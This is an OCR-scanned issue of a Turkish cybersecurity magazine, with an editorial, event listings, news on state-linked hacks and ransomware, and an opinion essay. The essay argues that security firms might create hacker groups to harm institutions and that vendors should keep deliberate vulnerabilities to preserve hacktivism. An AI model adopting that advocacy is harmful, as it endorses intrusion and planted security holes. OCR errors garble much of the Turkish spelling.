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EDITORDEN

Merhaba kiymetli okurlarimiz,

Yeni bir say ile huzurlarinizda olmanin kivancini yastyoruz. Bu sayu ile birlikte yine sizlerle paylasacagimiz ve duygu karmasasina neden olabilecek
bazi haberlerimiz var. Hizlica paylagalim.

Subat, 2018 itibari ile “Karanliga sovecegine bir mum da sen yak!” felsefesi ile kiymetli agabeyim, Ziyahan Albeniz 6nciiligiinde yeni bir heyecan ve
umutla baslattigimiz dergimizin 8. sayist da yayimlanmis oldu. Zaman ne kadar da ¢abuk gegiyor. Neredeyse bir buguk yildir derginin her agsama-
sinda paha bigilemez emegi olan agabeyim, siz bu satirlar1 okurken o, can-1 memleketinden ¢oktan ayrilmis olacak. Bu nedenle gegtigimiz sayida
editorlitk gorevini, derginin yonetim kadrosuna teslim etmis ve arkadaglar da oybirligi ile bendenizi bu géreve layik gormiuslerdir. Bu giivenleri igin
sizlerin huzurunda her birine ayr1 ayri tesekkiir ederim.

Takdir edersiniz ki birileri bir gaye i¢in 6nciiliik eder ve birileri de onu yasatmak ve yiiceltmek i¢in miicadele eder, tipki Cumhuriyet gibi. Bizler de
hep birlikte, daha ¢ok isbirligi i¢erisinde ve elbette sizlerin de kiymetli destegiyle Arka Kapi Dergi’yi daha iyi basarilara tasimak igin tiim gayretimizle
caligacagimizin soziinil veriyoruz.

Deginmeden ge¢mek ne miimkiin: Usta kalem, Yagar Kemal'in dedigi gibi, -O iyi insanlar, o giizel atlara binip ¢ekip gidiyorlar- neden? Hem de nice
memleket sevdalilari, bu iilkeye, bu millete verdigi emeklere paha bigmenin namiimkiin oldugu, o giizel insanlar gidiyorlar. Niye? Cevabini hepimi-
zin bildigi, en azindan tahmin ettigi bu soruyu da burada birakalim ama pesini birakmayalim ki bu béyle gelip gitmesin...

Eskiden olsa en basta ben derdim, “Nereye arkadas!”, diye. Bugiin maalesef diyemiyoruz; saygi, hiiziin ve onun adina bir garip mutluluk ile karsili-
yoruz bu durumu.

Gelgelim bir diger hadiseye. Ortalama iki y1l 6nce, giizel tilkemizde yeni bir topluluk kuruldu, Tiirkiye Siber Giivenlik Kiimelenmesi. Ne oldugunu
bilmeyen varsa, kendi sitelerinden bir alint1 yapalim:

“Tiirkiye Siber Giivenlik Kiimelenmesi, 2017 yilmda ilgili tiim kamu kurum/kuruluslar, ozel sektor ve akademi temsilcilerinin katihmlariyla ortaya
¢ikan, Savunma Sanayii Baskanlig: tarafindan desteklenen ve SSTEK A.S. tarafindan yiiriitiilen bir projedir” Iste, alint1 boyle. Yani ayni zamanda
devlet tarafindan desteklenen bir proje.

Kiimelenme, 25 Haziranda Twitter hesabi tizerinden bir kampanyalarini duyurdu:

“Defcon, Black Hat, RSA, Infosec, B Sides, DerbyCon, Appsec ve benzeri uluslararasi konferanslarda sunum yapma hakk: kazandiysan, biz yaninda-
yiz! Basvuru Adresi: info@siberkume.com”

Cok sevindik ve bu kampanyayu ticretsiz olarak dergimizde ve sosyal medya hesaplarimizda duyurarak; alakal, daha fazla kisiye ulasmasini saglamak
i¢in 28 Haziranda, hemen bir e-posta attik!

“..Oncelikle bu giizel ilgi ve katkiniz icin tesekkiir ederiz.

Nagizane, bizim de ¢corbada bir tuzumuz olsun isteriz. Oniimiizdeki birkag hafta ierisinde 8. sayisi ¢ikacak olan (basili ve dijital) dergimizde bu
kampanya igin basin sponsoru olmak isteriz.”

Dedik fakat bir doniis yapan olmadi. (?) 3 Temmuzda ilgili twitt’in altindan tekrar yazdik, yine bir doniis yapan olmadi... Kamuoyunun huzurunda
soruyoruz: Neden? Bu konudaki vaziyet de budur sevgili dostlar, bilginize saygiyla duyurulur.

Gelgelim {igiincii haberimize; 5 Temmuzda Cumhurbaskanhg: Genelgesi, Bilgi ve Iletisim Giivenligi Tedbirleri (2019/12) yayimlandi. Genel hatlari ile
bagarili ve yayimlanmasi gereken bir genelge, 21 madde ile yayimlanmis oldu, emegi gecen herkese tesekkiir ederiz.

Yiiregi iyilik ve giizellikle carpan herkesi selamliyor, hepinize keyifli okumalar diliyorum. Bir sonraki sayida goriismek tizere, saglicakla kalin.
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Kisisel Verilerin Korunmasi Kanunu Hakkinda

Bilmeniz Gerekenler
23 Temmuz 2019

Wyndham Grand Istanbul Kalamis Marina Hotel

“Kisisel verilerin korunmasina yonelik olarak nelere dik-
kat etmeliyiz?”, kisisel verilerin korunmasi i¢in ne gibi
onlemler almaliy1z?” v.b sorulara yanit alabileceginiz bu
egitim ticretli olup Istanbulda gerceklestirilecektir.

Bilgi: http://crenvoik.com/egitim/kvkk/

Mustafa Akgiil Ozgiir Yazilim Yaz Kampi
19 Temmuz - 3 Agustos 2019

Bolu Abant Izzet Baysal Universitesi Golkoy Yer-
leskesi

Linux Kullanicillar1 Dernegi (LKD) tarafindan
Abant Izzet Baysal Universitesi ev sahipliginde dii-
zenlenecek olan etkinlik 19 Temmuz - 3 Agustos
tarihleri arasinda 15 giin siirecek.

Bilgi: https://kamp.linux.org.tr/2019/yaz/

Odiillii Kriptoloji Yarismasi
Her ay TUBITAK tarafindan dii-
zenlenen Kriptoloji yarismasinda
sorularin ¢oziimlerini bilgem.odul-
lusoru@tubitak.gov.tr e-posta ad-
resine gondermek i¢in son giin 23
Temmuz!

Bilgi: https://bilgem.tubitak.gov.tr/sites/images/2019_tem-
muz_soru.pdf

Nesnelerin interneti (10T) Egitimi
21 - 23 Agustos 2019, Odakule

Nesnelerin Interneti(IoT) Egitimi ile katilimcilara, IoT uy-
gulama alanlari, protokolleri, mimarisi ve ¢aligma mantig1
hakkinda bilgiler verilmesi hedeflenmektedir.

Bilgi: https://eoda.iso.org.tr/Seminer/
SeminerListesi?Kodu=END4319

SGA Siber Guvenlik Yaz Kampi
12-17 Agustos 2019 | Van

Siber giivenlik alt yapisina sahip bireylerin SGA Siber Gii-
venlik Yaz Kampi egitimi {ist diizeyde bir egitim olup tama-
men uygulamali ve bilgilendirme amagl olacaktir. Egitim

oncesinde smav yapilacak ve smavda basarili olan 3 kisi
kampa ticretsiz alinacaktir.

Bilgi: https://bit.ly/31YEOuB

SOCMINT 101 Workshop
20 Agustos 2019 | BTK, Ankara

Murat ARSLAN tarafindan verilecek olan Sosyal
Medya Istihbarati (SOCMINT) egitimi Ankarada ger-
ceklestirilecektir.

Bilgi: https://hacknights.org/register/

Teknoloji Platformu ‘19
22 Agustos 2019 | Sheraton Bursa Hotel

Nesnelerin interneti, bityiik veri ve yapay zeka konu-
lar1 ele alinacaktir.

Bilgi: https://bit.ly/2RGJw0j

HacknBreak: 4. Acik inovasyon Kampi
24 Agustos - 1 Eyliil 2019 Torasan Mahallesi, {z-
mir Cesme Cd., 35430 Urla/izmir

HacknBreak Acik Inovasyon Kampi, Tiirkiyenin en
nitelikli ve yaratici insanlarini bir araya getirmek,
birlikte tretmeye tesvik etmek ve farkli lokasyon-
larda bulunan gelistirici ve girisimci topluluklarinin
tiyelerini ayn1 mekanda ve ortak bir hedef i¢in zaman
gecirmelerini saglamak amaciyla kurgulanmistir.

Bilgi: https://hacknbreak.com/




IOVl siver Biiten - Haberler

Haberler g

Cin devleti ile iligkili olan siber saldirganlarin belirli kisilere
yonelik bilgi toplamak amaciyla en az 10 mobil operatdriin
sistemine sizarak diinya ¢apinda milyonlarca kullaniciya ait
veriyi ¢aldig1 iddia edildi.

Israilli siber giivenlik sirketi Cybereason acikladig raporda,
siber operasyonun teknik ayrintilari ve kapsami incelenme-
si neticesinde saldirganlarin bir ulus devletin tam destegiy-
le hareket ettigi sonucuna vardigini duyurdu. Rapora gore,
2017den bu yana aktif olan ve Operation Softcell ad: verilen
saldirmin hedefinde Avrupa, Afrika, Asya ve Ortadogudaki
mobil operator sirketleri bulunuyor. Operatorlerin sistemle-
rine sizan saldirganlar, kullanicilara ait fatura verisi, arama
kayitlari, parolalar, e-posta hesaplari, geo-lokasyon bilgisi ve
daha fazlasini ele gecirmeye calist1.

Saldirganlarin, siber giivenlik uzmanlarina nasil yakalandi-
gina dair teknik ayrintilarin da paylagildig raporda, saldiran
ve savunan taraflar arasindaki miicadele ‘kedi-fare oyununa
benzetildi. Saldirganlarin veri tabani sunucular: ile fatura su-
nucularina sizdiklarinin fark edilmesi sonrasinda saldiriya ara
verdigine dikkat ¢ekildi.

Mobil servis saglayicilara ait sistemlerin en siki korunan hatta
internetten izole edilmis boliimlerine sizan siber saldirganla-
rin hedeflerinde 6nceden belirlenmis kisilerin oldugu bilin-
se bile, hackerlarin ele gecirdigi devasa veri ile operatorlerin
aglarimi tamamen ¢okertebilecek ya da ciddi sekilde kesintiye
ugratabilecek giice ulastiklar1 yorumu yapiliyor.

[lk olarak Wall Street Journalda ¢ikan haberde, Cybereason
CEO’su Lior Div’in kiiresel ¢aptaki mobil operatorlerin iist
diizey yetkililerine siber saldir1 ile ilgili birebir bilgilendirme
yaptig1 bilgisi de yer aldi. Saldirtya maruz kalan sirket yone-
ticilerinin olay karsisinda hayretlerini gizleyemeyerek sinir-
lendigi de basina sizdi. CEO Div WSJ'ye yaptig1 agiklamada
‘Kisisel bilgileri ¢almak i¢in bu kadar genis kapsaml bir espi-
yonaj operasyonuyla ilk kez kars: karsiya kaliyoruz.” ifadeleri-
ni kulland1.

Operasyonda ele gegirilen bilgilerin, istihbarat kurumlari i¢in
‘altin degerinde’ oldugu ifade edilirken, kullanicilar arasindaki
mesajlagma ve aramalarin icerigi bilinmese bile kimin kiminle
iletisimde olduguna dair verinin ajanlar i¢in gok kullanisgh ol-
dugu degerlendirilmesi yapiliyor.

Cybereason raporunda her ne kadar Cin'in devlet destekli
hackerlarinin saldirinin arkasinda olduguna dair siiphelerini
belirtse de, Cinli hacker grubunun yoéntemlerini taklit eden
baska bir grubun da olayin faili olabilecegi notunu diistii.

Cinli hackerlarin daha 6nceki operasyonlarini ortaya ¢ikar-
tan ABD’li siber giivenlik sirketleri FireEye ve Crowdstrike,
Cybereason’'un bulgularini heniiz teyit etmedigini agikladu.

Siber suglularin takibi ve yakalanmasi i¢in adli bilisim hiz-
meti sunan Eurofins Scientific firmasiin siber saldirganlar
tarafindan hacklenmesinin ardindan Ingilterede genis capli
sorusturma baglatildi.

Ingilterede birgok polis birimiyle yakindan ¢alistig1 6grenilen
firmay1 hedef alan siber saldirinin ardindan bazi sug delilleri-
nin yok edilmis olabilecegi ihtimali {izerinde duruluyor.

Haziran ayinin baginda iki giin boyunca devam eden bir fidye
yazilim saldirisina maruz kalan Eurofins Scientific’in sistem-
lerinde polis sorusturmalarinda kullanilmak tizere su¢ mahal-
lerinden toplanan parmak izi gibi diger delil niteligi tagiyan
bilgilerin bulundugu bildirilirken bunlarin hackerlarin eline
gegmesinden endise ediliyor.

Saldirt ile ilgili yiirttillen sorusturmaya Ulusal Sug Ajansi ve
polis kuvvetlerinin yani sira Ulusal Siber Giivenlik Merkezi de
dahil oldu. Kotiiciil yazilim bulasan bilgisayarlarin incelendigi
sorusturmada yetkililer elden gegirilmesi gereken verinin bii-
yukliigiiniin sorusturma siirecini olumsuz etkiledigini belirtti.

Kolluk kuvvetleri ile ¢alisan yerli ve yabanci firmalara yonelik
siber saldirilar daha dnce de gerceklesmisti.



Tiirkiyenin de miisterileri arasinda bulunan ve iPhonenun
parolasini kirdigini iddia eden Israil sirketi Cellebrite gegti-
gimiz yillarda sistemini siber saldirganlardan koruyamamisti.
2015 yilinda da polis birimlerine casus yazilim hizmeti sunan
[talyan sirketi HackingTeam hackerlarin hedefi olmustu.

Tiirkiyede yapilan bir aragtirma, insanlarin kisisel veri paylas-
ma noktasinda daha az istekli oldugunu ortaya koydu.

Facebook, Instagram ve Twitter gibi sosyal medya servisleri
hayatimizin 6nemli birer parcas: haline geldi; Kasperskynin
raporuna gore artik Tiirkiyede insanlarin %88’ bu servisleri
kullaniyor.

Sosyal medya platformlari, kendileri hakkinda bazi veriler
karsiliginda kullanicilarina kendilerini ifade etme, arkadasla-
riyla ve aileleriyle iletisim kurma, evlerinden bile ¢ikmadan
haberleri, goriisleri ve trendleri takip etme firsat1 sunuyor.

Ote yandan, cesitli avantajlarina kargin kullanicilarin bir kis-
my, dijital gizliliklerini geri getirmeyi saglayacag takdirde sos-
yal medyadan tamamen vazge¢meyi tercih ediyor.

Buna gore, Tiirkiyede her on kisiden ikisi (%17) artik hangi
tinlitye benzedigi ya da en sevdigi yemegin ne oldugu hakkin-
da eglenceli testlere katilmak i¢in kisisel bilgilerini veremeye-
cek. Durum, artik farkli web sitelerine ve hizmetlere rahatlikla
giris yapmak icin sosyal oturum agma bilgilerini kullanama-
yacak olan %4471 i¢in daha da zor.

Cep telefonu kullananlarin sayisinin her sene %2 arttigi bir za-
manda, Tiirkiyede bes kisiden birinin (%20) geri kalan hayat1

boyunca verilerinin gizli kalmasini garanti altina alabilmek
i¢in cep telefonlarina tamamen veda etmeye hazir olmasi daha
da sagirtict.

Glinlimiizde sosyal medya, kullanici deneyimi kalitesinin
agirlikli olarak kisisel bilgiye dayandigi bir asamada bulunu-
yor. Bu kisisel bilgiler kimi zaman finansal bilgiler veya ko-
num olurken, kimi zaman aligveris aligkanliklari, yemek yeme
tercihleri ya da iliski durumu olabiliyor. Dolayisiyla sonsuza
dek kaybedilmis gibi goriinen veri gizliligi hakkinda nostaljik
hislere kapilabiliyoruz.

Ne yazik ki bu ugurda sosyal medyadaki tiim varliginizi feda
etmek bile dijital gizliliginizi korumaya yetmiyor. Bu tek sefer-
lik bir pazarlik degil; bir siireg.

Kaspersky Tiiketici Uriinleri Pazarlama Baskan1 Marina Ti-
tova sunlari soyledi:

Siber Bilten - Haberler A\ o4 (AW § .\ d|

“Insanlar birkag yil 6nce potansiyel tehditleri ve sonuglarini
hi¢ diisinmeden cesitli avantajlar karsiliginda 6zel bilgilerini
sosyal medyayla paylasti. Diinyada veri sizintilarinin sayica
artmastyla birlikte tiiketiciler arasinda yeni bir trend gorii-
yoruz. Bircogu artik kendileriyle bilgili belirli bilgilerin halka
acitk olmamasini tercih ediyor ve ¢evrimici hizmetlerle pay-
lagtig1 bilgiler hakkinda daha dikkatli davraniyor. Ote yandan
¢ogunluk hala dijital gizliligini nasil koruyacagini bilmiyor ve
bilgilerinin giivende kalmasini garanti altina alabilmek i¢in
sosyal medyadan vazge¢meye razi. Sosyal medya hesaplarinin
sifrelerini diizenli sekilde giincelleyerek ve giivenlik ¢6ztim-
leri kullanarak kisisel bilgilerini giivende tutmak, verilerinin
cevrimigi giivenligi konusunda tiiketicilerin i¢ini biraz daha
rahatlatabilir”

Kaspersky, dijital gizliliginizi korumak i¢in bazi basit adimlar1
izlemenizi dneriyor:

o Medya gizliligi ayarlariniz1 diizenli olarak kontrol etmeye
caligin ve medya hesaplariniz i¢in giiglii sifreler segin.

o Yabanci dosyalar1 agmayin veya cihazinizda saklamayin;
koti amagli olabilirler.

o Kigsisel verileriniz karsiliginda degerli seyler teklif eden
stipheli kigilere kanmayin ve kendiniz hakkinda ¢ok fazla
bilgi paylagmayin.

o Birden fazla web sitesi veya hizmet i¢in aynu sifreyi kul-

lanmayin ve Kaspersky Security Cloud, Kaspersky Secure

Connection ve Kaspersky Password Manager gibi gizlilik
ihlali riskini en aza indiren hizmetleri iceren giivenilir

guvenlik ¢oztimlerini kullanmaya baslayin.

Batili istihbarat ajanslarina bagli ¢alisan hackerlarin Rus ara-
ma motoru Yandex'in sistemine sizarak kullanici bilgilerini
elde etmeye ¢aligtig1 iddia edildi.

Reuters’in konuyla ilgili bilgisi olan dért ayr1 kaynaktan aldigi
bilgiye gbre, 2018 yilinin sonuna dogru hackerlar Yandex'in
sistemine girmeyi bagardi. Az kullanilan bir kétiiciil yazilimi
sisteme yiiklemeyi basaran hackerlar kendileri i¢in onemli
olan kullanici bilgilerini sizdirmaya calistu.

‘Bes Goz tilkelerinin istihbarat kurumlari tarafindan ¢esitli ope-
rasyonlarda kullanilan ‘Regin’ adli malware’in Yandexe yapilan
operasyonda da kullanilmasi gozleri bu tilkelere ¢evirdi. ABD,
Ingiltere, Avustralya, Yeni Zelanda ve Kanadanin olusturdugu
‘Bes GOz - Five Eyes olusumu, bu tilke istihbarat kurumlarinin
birbirleriyle bilgi paylagmasi esasina dayaniyor. Regin ilk olarak
2014 yilinda, Bes Goz tilkelerinin kullandig: bir siber saldir1 ge-
reci olarak Snowden tarafindan ifsa edilmisti.
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Batil iilkelerden yapilan ve Rusya’y1 hedef alan saldirilarin gok
az bir kism1 bugtine kadar kamuoyuna yansidi. Reuters, saldi-
rinin arkasinda hangi istihbarat kurumlarinin oldugunun he-
niiz bilinmedigini kaydederken, Rus kaynaklardan aldig: bil-
giye gore, sizma operasyonu 2018’in ekim ve kasim aylarinda
meydana geldi. Yandex sozciisli yaptig1 agiklamada saldiriy:
teyit etti fakat detay vermekten kagindu.

“Yandex giivenlik ekibi tarafindan erken sathada fark edilen
bu saldir1 herhangi bir zarar vermeden etkisiz hale getirilmis-
tir” diyen sozcii, giivenlik ekibinin miidahalesi sonucu kulla-
nict verilerinin korundugunu da ifade etti. Rusyanin Google
olarak bilinen Yandex, 108 milyon kullanicisina e-postadan
navigasyona kadar bir¢ok online hizmet sunuyor. Sirketin
Rusya disinda faaliyet gosterdigi tilkeler arasinda Belarus,
Kazakistan ve Tiirkiye de bulunuyor. Reutersa konugsan kay-
naklar, saldirganlarin sisteme sizdiktan sonraki hareketleri
incelendiginde, 6zellikle Yandex’in kullanicilarin gergekligini
nasil ayirt edebildigine dair teknolojiyi bulmak i¢in ¢aba sarf
ettiklerini s6yledi. Bu sayede bir gergek kullanici olusturduk-
tan sonra kullanicinin kigisel mesajlarina ulagmanin yollari-
nin aranabilecegi belirtildi.

Saldirtyr degerlendiren uzmanlar, Yandex'in aragtirma gelis-
tirme birimini hedef alan saldirinin asil amacinin espiyonaj
oldugu, sirketin daha 6nce karsilastig1 ‘teknolojisini ¢almaya
yonelik’ bir eylem olmadigini séyledi. Saldirida kullanilan
Regin kotiiciil yazilimy, ilk kez 2013 yilinda Belgika telekom
firmasi Belgacom’u hedef alan ve arkasinda Ingiliz ve ABD’li
istihbarat kurumlar1 (GCHQ ve NSA) oldugu iddia edilen
saldirida kullanilmisti. Yandex’in sisteminde bulunan Regin
kodunun bazi bolimlerinin daha 6nceki saldirilarda kullanil-
mamis oldugu fark edildi. Teknik uzmanlar ilk kez kullanilan
bazi yazilimlarin bulunmasini saldirinin devlet destekli oldu-
gunun bir gostergesi olarak kabul ediyor. Rus siber giivenlik
sirketi Kaspersky, Yandexe yapilan saldiriya yonelik bir ince-
leme baglatt1. Bulgulara gore, saldirganlarin birkag yazilim ge-
ligtiricinin hesabini ele gecirmeye ¢alistig1 kaydedildi.

Kremlinden konuyla ilgili yapilan agiklamada, Yandexe y6ne-
lik bu saldur ile ilgili bir bilginin bulunmadig: fakat Yandex
ve diger Rus sirketleri hedef alan saldirilarin her giin gercek-
lestigi kaydedildi. S6zcii Dmitry Peskov, saldirilarin ¢ogunun
batili tilkeler tarafindan gerceklestirildigini soyledi.

Siber tehditlerin 6niine ge¢mek i¢in bilgisayar donanimu iire-
ten sirketler arasinda yasanan kiyasiya rekabet her gegen giin
artiyor. Bilgisayar korsanlarinin sistemlere sizmasini engelle-
yecek ¢ip gelistirme amaciyla kurulan sirketler yatirimcilarin
da dikkatini ¢ekiyor. Telegraphda yayinlanan habere gore,
Ingilterede kurulan Garrison ve Deep Secure adli iki sirket,
‘hardsec’ olarak da bilinen donanim bazli giivenlik alanina
hizli bir giris yapt1.

Hardsec anlayis1 siber saldirilar ile miicadelede yazilim temelli
bakis acisinin degismesi gerektigini ve donanim ile ilgili ati-
lacak kritik adimlarin siber saldirganlarini durdurmada daha
etkili olacagi varsayimina dayaniyor. Ozellikle giiniimiizde
kullanilan standart ¢iplerin hackerlarin isine geldigini belirten
hardsec uzmanlari tiretimden sonra istenilen fonksiyona gore
donanim yapisi kullanici tarafindan degistirilebilen bu ¢iple-
re, saldirganlarin ytikleyecegi kotiiciil yazilim ile istediklerini
yaptirabilecegi vurgulaniyor.

Garrisonun CTO’su Henry Harrison, sirketinin gelistirdigi
FPGA g¢iplerinin ise bugiin kullanimda olan standart ¢iplere
gore ‘hacklenebilmek icin ¢ok aptal’ oldugunu kaydetti. Yeni
cipler, muadillerinin aksine tek bir goreve sabitlenerek ¢alisa-
bilecek. Boylece siber saldirganin yeni bir yazilim yiikleyerek
¢ipe istedigini yaptirmasinin dniine gegilecek.

Iki eski BAE miihendisinin kurdugu Garrison’'un yeni yakla-
simu ilgi cekmis olmali ki, sirket uluslararasi yatirim fonlarin-
dan 34 milyon Pound’luk yatirim almay kisa siirede basardi.

FPGA cipleri iizerine calisan baska bir Ingiliz sirketi olan
Deep Secure'un CEO’su Dan Turner da yeni ¢iplere yonelik
ilginin her gegen giin arttigini belirterek, miisterileri arasin-
da banka ve kamu kurumlarinin bulundugunu sdyledi. Ismini
agiklamayan bir kaynagin gazeteye verdigi bilgiye gére, Ingi-
liz glivenlik kurumlar1 da kullanicilart FPGA c¢ip kullanilmasi
konusunda cesaretlendiriyor.

Heniiz nihai iiriinii piyasaya siirmeyen Ingiliz sirketleri, miis-
terilerine test amaciyla prototipi sunmus durumda. 1980’ler-
den beri kullanimda olan ancak pahali ve yavas bulunan
FPGA ciplerinin bir bagka ayiric1 6zelligi de tim bilgisayar
agin1 korumay1 amaglayan standart ¢iplerin aksine, bilgisayar
sisteminin 6nemli béliimlerini korumak amaciyla tasarlanmig
olmast.

Ciplerin fiyatlarinda yakin zamanda yasanan 6nemli diisiisiin
FPGA teknolojisini giivenlik agisindan 6ne ¢ikarttigr deger-
lendirmesi yapiliyor. Cipleri kendileri tiretmeyen Garrison ve
Deep Secure, Ingiltere digindan getirdikleri FPGA teknolojisi
tizerine kendi irtinlerini gelistiriyor.
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Siber Gﬁvenlikte

lyi ve Kotii

o
Iyi ve kotii arasindaki miicadele, tarihin baslangicindan

beri insanlarin hem giinliik hayatinda var olmustur hem

de hikayelerde dile getirilmistir. Oyle ki; yazilan destan-
larin, masallarin ve dini literatiiriin biiyiik ¢ogunlugunu bu
dualist bir yaklasim olusturur. Bu yaklagimlarin ¢ogu iyinin
kotiiyi alt etmesi tizerine kurgulanirken kimi yapitlar, iyi ve
kotil arasinda bir denge olmasi gerektigini savunur. Ornegin
popiiler kiiltiiriin 6nemli simgelerinden olan Star Warsdaki
inang sistemi, bu denge tizerine kurgulanmistir. Ben de bu ya-
z1da, siber giivenlik diinyasindaki iyiyi, kotiiyii ve arasindaki
dengenin nasil olmasi gerektigini ele alacagim.

Konuya ge¢meden 6nce siber giivenlikteki iyi ve kotiiniin tani-
mini yapmak gerekli. Iyiyi; sistemlerin ve kurumlarin olagan
akiginin bozulmamast, kullanicilarin verilerinin ¢alinmamast,
maddi manevi kayba ugranmayan durumlar olarak tanimla-
yabiliriz. Kotiyii ise; kullanici bilgilerinin ¢alinmasi, kurum-

u Dengesi

larin ¢alisma akiglarinin bozulmasi, maddi ve manevi kayip
olarak nitelendirebiliriz. Tabi ki kisilerin diinya goriisiine gére
bu iyi ve kotli kavramlar: yer degistirebilir. Ancak genel gecer
tabirler tizerinden bu sekilde ilerleyebiliriz.

2000’lerde internet olgunlagsmaya ve yayilmaya bagladiginda
denge, koétiiden tarafa agir basiyordu. Giivenlik bilincinin ve
onlemlerin gelismedigi i¢in web siteleri hackleniyor, e-posta
adresleri ele geciriliyor, hackerlar her yerde rahatlikla cirit ati-
yordu. Dolayisiyla boyle bir ortamda kurumlarin online var-
liklarini sorunsuzca siirdiirmesi ¢ok miimkiin degildi. Denge,
kotiiden tarafta olunca bu tip bir durumla kargsilastik.

Sartlar béyleyken, internet {izerinden bir ekonominin yiirii-
meyecegi anlagildi ve kurumlarin giivenlik biitceleri artt1. Cok
sayida giivenlik yazilimi gelistirildi, insan giicii artti, kurumlar
giivenli hale gelmek icin kesenin agzini acti. Sonug olarak bir




zamanlar bilgisayarin ya da telefonun sifresini bulmak isten
bile degilken, bugiin bu durum neredeyse imkansiz hale geldi.
Kurumlar varliklarini saldirganlara karsi koruyor, insanlar da
kisisel hesaplarini kolay kolay kaybetmiyor. Ancak bunun ya-
ninda halen cesitli kisi ya da kurumlar hacklenebiliyor, veriler
internete sizabiliyor. Bir denge s6z konusu diyebiliriz. Peki bu
dengenin insanliga ve giivenlik sektoriine faydasi nedir?

1. Kurumlar, giivenlik ¢ziimlerine ve personele yatirim
yaptig1 takdirde bityiik ihtimalle giivende olacaklar.
Internet tizerindeki varliklarini koruyup islerini
siirdiirmeye devam edecekler. Bu sekilde hem giivenlik
sektoriindeki sirketler ve insanlar para kazanmaya devam
edecek, hem de diger kurumlar giivende kalacaktir.

2. Biiyiik sirketlerin, devletlerin ¢evirdigi kirli islerin
vatandaglar tarafindan bilinmesinin en pratik yollarindan
biri hacktivizmdir. Normal sartlarda vatandasin
bilemeyecegi, bilse bile ispatlayamayacag: tarz konular,
e-mail trafiginin ele gegirilmesiyle ya da farkli veri
sizintilariyla ispatlanabilir hale gelmekte. Dolayisiyla bazi
aktorler birgiin hacklenebilecekleri korkusuyla fazla cesur
hareketlerden kaginmaktadir.

Bu iki madde isiginda iyi-kotii arasinda denge olmasinin
faydali oldugunu tekrar ifade edebiliriz. Ciinkii denge kotii-
ye kayarsa 2000’lerdeki gibi siirdiiriilemez bir internete, iyiye
kayarsa glivenlik sektoriiniin ¢okiisiine ve vatandasa ait hack-
tivizm silahinin yok olusuna sahit oluruz. Peki gelecekte bu
denge nasil degisecek? Bu sorunun yanitini vermek kolay de-
¢gil. Arka Kap1 Dergisinin 6nceki sayilarinda yazdigim “Siber
Giivenligin Gelecek 30 Yili igin Kehanetler” isimli yazida, ge-
lecekte bireysel anlamda hackingin bitecegini yazmistim. Yani
ontimiizdeki siirecte bu denge, iyiye dogru kaymaya baslaya-
cak, uzun bir siire sonra kotiiyl ¢ok kisitli bir alana sikigtira-
cak. Kurumlar bundan fayda gérse de hem giivenlik sektoriin-
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de igsizlik sorunu bas gosterecek, hem de vatandagsin elindeki
hacktivizm silahi ige yaramaz hale gelecektir.

Peki gidisat: degistirmenin bir yolu yok mu, yani gelecekte bu
denge kurulamaz mi1? Bunun miimkiin olmasi, ancak gelecek-
teki giivenlik sirketlerinin isbirligi ile miimkiindir. Giivenlik
sirketleri tirtin ve hizmet satmaya devam edecek, fakat bir
yandan da Microsoft, Apple, Google gibi firmalar isletim sis-
temlerini ve yazilimlarini ti¢lincii parti bir seye ihtiya¢ kalma-
dan giivenli hale getireceklerdir. Dolayisiyla kurumlarin siber
saldirilar1 durdurmak i¢in tglincii parti yazilimlara ve per-
sonele ¢ok fazla ihtiyac1 kalmayacaktir. Bu noktada giivenlik
sirketlerinin ellerini tagin altina koyup, dengeyi kétii tarafina
biraz daha kaydirmak i¢in hamle yapmalar1 gerekecek. Ken-
dileri hacker grubu kurup gesitli kurumlar: zarara ugratmaly,
kurumlar1 kendi tiriinlerini kullanmak zorunda olduklarina
ikna etmeli. Bu agidan dengeyi biraz ilerletebilirler. Ancak bu
bir iliizyondan ibaret olacaktir. Bizim ise bugiinkii gibi ger-
¢ekten hacklenmesi miimkiin olan sistemlere ihtiyacimiz var.
Yoksa vatandasin elindeki hacktivizm silahi tarih olacak.

Siber dengenin saglanabilmesi i¢in ugrasabilecek diger bir ak-
tor de ABD basta olmak iizere batili devletler. Ornegin ABD,
Cin ve Iranda insanlar sansiirii asabilsinler diye TOR sistemi-
ne yatirim yapmaya devam ediyor. Yine ABD, bu tilkelerin gii-
venliginin kusursuz olmasini istemeyecektir. Dolayisiyla ken-
disinden de biraz feragat ederek Apple-Google-Microsoft gibi
firmalardan sistemlerinde giivenlik agiklarina yer vermelerini
isteyebilir. Dolayisiyla denge tamamen iyi tarafa kaymaz, orta-
da kalir. Boylece hem giivenlik ekosistemi var olmaya devam
eder, hem de hacktivizm baki kalir.

[leride dengenin nerede olacagini yillar i¢inde gorecegiz. Han-
gi yone kayarsa kaysin temel arzum, insanlarin haber alma ve
diisiince 6zgiirliiklerinin engellenmemesidir. Bunun saglan-
mast i¢in ¢alismak herkesin vatandaglik 6devi olmalidir.
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Kritik Altyapilarda
Siber Guvenlik

zun yillar boyunca endiistriyel sistemler ve daha 6ze-
l | linde kritik altyapilarda, 6zel protokollere ve yazilima
dayanan, insanlar tarafindan elle kontrol edilen ve
yonetilen, dis diinyadan bagimsiz teknolojiler kullanilmak-
tayd1. Hackerlar igin zafiyet iceren, saldir1 yapilabilecek bir ag
bulunmamasi nedeniyle s6z konusu sistemlerde herhangi bir
siber saldir1 olay: gerceklesmemisti. Ayrica bu sistemlere siza-
bilmenin tek yolu fiziki giivenlik tedbirleri (elektrikli dikenli
teller, nobetgiler, kilitli kapilar ve hatta bekgi kopekleri) iceren
tesislere girip, el terminallerine dogrudan erismekti. I'T (Infor-
mation Technology) ve OT (Operation Technology) birbiriy-
le cok az entegreydi ve bu nedenle tamamen farkli zafiyetler
icermekteydi.

Giiniimiizde, teknolojik entegrasyonlar yoluyla yeni yete-
nekler ve verimlilikler elde edilebilecegi goriilen endiistriyel
sistemler hizli bir sekilde gevrimigi hale getirilmektedir. En
basitinden tesislerden elde edilen biiyiik verilerin analitik de-
gerlendirilmesi sonucunda verimliligin kayda deger sekilde
arttig1 gozlemlenmistir. Ayrica sensorlerin uzaktan izlenmesi
ve kontrold, sistemlerin daha iyi yonetilebilecegi sonucunu
ortaya ¢ikarmugtir.

Kapali sistemden agik sistemlere dogru seyreden bu gegis, ele
alinmasi gereken ¢ok sayida yeni giivenlik riski ve zaafiyeti
olusturmustur.

Kritik Altyapilar Nelerdir?
Yukarida bahsedilen zaafiyetlere deginmeden once kritik alt-
yapilar kavramini biraz daha agmak gerekir.

